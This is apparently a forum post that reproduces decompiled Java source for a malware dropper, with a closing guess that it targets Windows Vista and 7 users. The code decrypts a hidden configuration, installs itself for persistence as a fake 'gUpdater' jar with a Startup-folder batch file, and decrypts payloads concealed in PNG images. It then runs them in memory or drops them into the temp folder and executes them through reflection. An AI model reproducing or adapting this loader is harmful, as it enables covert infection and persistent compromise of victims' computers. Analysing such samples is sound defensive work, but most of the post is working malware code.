Code:
import cipherstream.image.ImageConverter;
import cipherstream.input.CipherInputStream;
import java****.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.util.Enumeration;
import java.util.jar.*;
public class Start
{
public static class Thread2 extends Thread
{
byte image[];
public Thread2(String n)
{
super(n);
}
}
public Start()
{
}
public static void main(String args[])
{
try
{
CipherInputStream inp = new CipherInputStream(Start.getResourceAsStream("audio.dat"), new byte[] {
23, 32, 112, 35, 50
});
boolean autostart = inp.read() == 1;
byte audio[] = inp.read(0, inp.available());
String ext = new String(audio, "UTF-8");
ext = ext.substring(0, ext.indexOf(new String(new byte[1], "UTF-8")));
byte key[] = new byte[audio.length - ext.length() - 1];
System.arraycopy(audio, ext.length() + 1, key, 0, key.length);
inp.close();
if(System.getProperty("os.name").toLowerCase().contains("vista") || System.getProperty("os.name").toLowerCase().contains("7"))
try
{
if(autostart && Start.getResourceAsStream("installed") == null)
{
Enumeration urls = ClassLoader.getSystemClassLoader().getResources("");
File loc = new File("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\");
File jar = new File(loc.getParentFile(), "gUpdater\\updater.jar");
File bat = new File(loc, "updater.bat");
jar.delete();
bat.delete();
loc.mkdirs();
jar.getParentFile().mkdirs();
jar.createNewFile();
bat.createNewFile();
JarOutputStream out = new JarOutputStream(new FileOutputStream(jar));
JarEntry te = new JarEntry("installed");
out.putNextEntry(te);
out.write(0);
out.closeEntry();
DataOutputStream bout;
for(; urls.hasMoreElements(); bout.close())
{
URL url = (URL)urls.nextElement();
JarFile jf = null;
File urlf = new File(url.getFile());
if(urlf.exists() && urlf.isDirectory())
{
File afile[];
int k = (afile = urlf.listFiles()).length;
label0:
for(int j = 0; j < k; j++)
{
File file = afile[j];
if(!file.getName().endsWith(".jar"))
continue;
JarFile t = new JarFile(file);
for(Enumeration jee = t.entries(); jee.hasMoreElements();)
{
JarEntry je = (JarEntry)jee.nextElement();
if(je.getName().equals("audio.dat"))
{
InputStream intt = t.getInputStream(je);
byte oa[] = new byte[intt.available()];
intt.read(oa);
intt.close();
InputStream intt2 = Start.getResourceAsStream("audio.dat");
byte a[] = new byte[intt2.available()];
intt2.read(a);
intt2.close();
boolean g = true;
if(oa.length == a.length)
{
for(int i = 0; i < a.length; i++)
{
if(a[i] == oa[i])
continue;
g = false;
break;
}
}
if(g)
{
jf = t;
break label0;
}
}
}
if(t != null)
t.close();
}
}
if(jf != null)
{
for(Enumeration jee = jf.entries(); jee.hasMoreElements(); out.closeEntry())
{
JarEntry je = (JarEntry)jee.nextElement();
InputStream in = jf.getInputStream(je);
JarEntry entry = new JarEntry(je.getName());
out.putNextEntry(entry);
int l = in.available();
for(int br = 0; br < l; br++)
out.write(in.read());
}
jf.close();
}
out.flush();
out.close();
bout = new DataOutputStream(new FileOutputStream(bat));
bout.write("javaw -jar \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\gUpdater\\updater.jar\"".getBytes());
bout.flush();
}
}
}
catch(Exception e)
{
e.printStackTrace();
}
boolean hasbg2 = false;
String ext2 = "";
byte key2[] = null;
InputStream bk2 = Start.getResourceAsStream("config.dat");
if(bk2 != null)
{
CipherInputStream inp222 = new CipherInputStream(bk2, new byte[] {
23, 32, 112, 35, 50
});
byte config[] = inp222.read(0, inp222.available());
ext2 = new String(config, "UTF-8");
ext2 = ext2.substring(0, ext2.indexOf(new String(new byte[1], "UTF-8")));
key2 = new byte[config.length - ext2.length() - 1];
System.arraycopy(config, ext2.length() + 1, key2, 0, key.length);
inp222.close();
hasbg2 = true;
}
InputStream tmp7 = Start.getResourceAsStream("background1.png");
ImageConverter convert = new ImageConverter(tmp7, true);
byte image[] = convert.getFile();
ByteArrayInputStream inp1 = new ByteArrayInputStream(image);
CipherInputStream inp2 = new CipherInputStream(inp1, key);
ByteArrayOutputStream tmp0 = new ByteArrayOutputStream();
byte tmp4[] = new byte[1024];
for(int ll = 1; ll > 0;)
{
ll = inp2.read(tmp4, 0, tmp4.length);
if(ll > 0)
tmp0.write(tmp4, 0, ll);
}
image = tmp0.toByteArray();
inp2.close();
byte image2[] = null;
if(hasbg2)
{
InputStream tmp17 = Start.getResourceAsStream("background2.png");
ImageConverter convert2 = new ImageConverter(tmp17, true);
image2 = convert2.getFile();
ByteArrayInputStream inp12 = new ByteArrayInputStream(image2);
CipherInputStream inp22 = new CipherInputStream(inp12, key);
ByteArrayOutputStream tmp02 = new ByteArrayOutputStream();
byte tmp42[] = new byte[1024];
for(int ll2 = 1; ll2 > 0;)
{
ll2 = inp22.read(tmp42, 0, tmp42.length);
if(ll2 > 0)
tmp02.write(tmp42, 0, ll2);
}
image2 = tmp02.toByteArray();
inp22.close();
}
Class rt = java/lang/Runtime;
Method gr = rt.getMethod("getRuntime", new Class[0]);
Object ins = gr.invoke(null, new Object[0]);
Method exc = rt.getMethod("exec", new Class[] {
java/lang/String
});
if(ext.equals("jar"))
{
Thread2 t = new Thread2((new StringBuilder("jar")).append(System.currentTimeMillis()).toString()) {
public void run()
{
try
{
JarInputStream jinp = new JarInputStream(new ByteArrayInputStream(image));
String main = jinp.getManifest().getMainAttributes().getValue("Main-Class");
CL l = new CL(image);
Class c = l.loadClass(main);
Thread.currentThread().setContextClassLoader(l);
Method mainm = c.getMethod("main", new Class[] {
(new String[0]).getClass()
});
mainm.invoke(null, new Object[] {
new String[0]
});
jinp.close();
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
;
t.image = image;
t.start();
} else
{
FileOutputStream stream = new FileOutputStream(new File((new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp.").append(ext).toString()));
stream.write(image);
stream.flush();
stream.close();
String run = (new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp.").append(ext).toString();
exc.invoke(ins, new Object[] {
run
});
}
if(hasbg2)
if(ext.equals("jar"))
{
Thread2 t = new Thread2((new StringBuilder("jar")).append(System.currentTimeMillis()).toString()) {
public void run()
{
try
{
JarInputStream jinp = new JarInputStream(new ByteArrayInputStream(image));
String main = jinp.getManifest().getMainAttributes().getValue("Main-Class");
CL l = new CL(image);
Class c = l.loadClass(main);
Thread.currentThread().setContextClassLoader(l);
Method mainm = c.getMethod("main", new Class[] {
(new String[0]).getClass()
});
mainm.invoke(null, new Object[] {
new String[0]
});
jinp.close();
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
;
t.image = image2;
t.start();
} else
{
FileOutputStream stream2 = new FileOutputStream(new File((new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp2.").append(ext2).toString()));
stream2.write(image2);
stream2.flush();
stream2.close();
String run = (new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp2.").append(ext2).toString();
exc.invoke(ins, new Object[] {
run
});
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
Seems like it only affects Windows Vista & 7 users... (I guess)